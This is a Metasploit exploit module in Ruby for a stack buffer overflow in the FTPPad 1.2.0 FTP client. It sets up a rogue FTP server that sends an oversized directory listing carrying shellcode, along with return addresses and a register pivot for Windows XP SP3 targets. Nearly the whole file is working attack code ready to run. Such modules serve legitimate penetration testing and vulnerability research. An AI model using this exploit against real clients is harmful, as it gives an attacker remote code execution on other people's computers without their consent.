/
ftppad_list_reply.rb
91 lines (83 loc) · 3.14 KB
/
ftppad_list_reply.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'FTPPad 1.2.0 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is
triggered when the client connects to a FTP server which sends an overly long directory
and filename in response to a LIST command.
This will cause an access violation, and will eventually overwrite the saved extended
instruction pointer. Payload can be found at EDX+5c and ESI+5c, so a little pivot/
sniper was needed to make this one work.
},
'Author' =>
[
'corelanc0d3r'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '68714' ],
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 3000,
'BadChars' => "\x00\x0a\x2f\x5c\xff\x0c\x0d\x08\x09",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
#shlwapi sniper + pivot : MOV DWORD PTR DS:[EDX],EAX + CALL ESI
[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5912', { 'Ret' => 0x77FA6556 } ],
[ 'XP SP3 Professional, German - shlwapi 6.00.2900.5912' , { 'Ret' => 0x77f86556 } ],
[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5512', { 'Ret' => 0x77FA6526 } ],
],
'Privileged' => false,
'DisclosureDate' => '2010-10-12',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
totalsize = 13000
foldername = "A" * 24 + payload.encoded + ("A" * (3318-payload.encoded.length))
#EDX+5c and ESI+5c point at shellcode
#we control EAX and EIP
#use value in EAX to write to EDX (to make a jump forward, about 5c bytes)
#and then jump to ESI (which will then execute the jump forward, to payload)
foldername << [target.ret].pack('V') # MOV DWORD PTR DS:[EDX],EAX # ... # CALL ESI
foldername << "\x41\x41\x75\x5B" # EAX -> 75 5B = JNZ SHORT -> shellcode
foldername << " " * (totalsize - foldername.length)
print_status(" - Sending directory list via data connection")
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{foldername}\r\n"
conn.put(dirlist + dirlist + dirlist + dirlist)
conn.close
return
end
end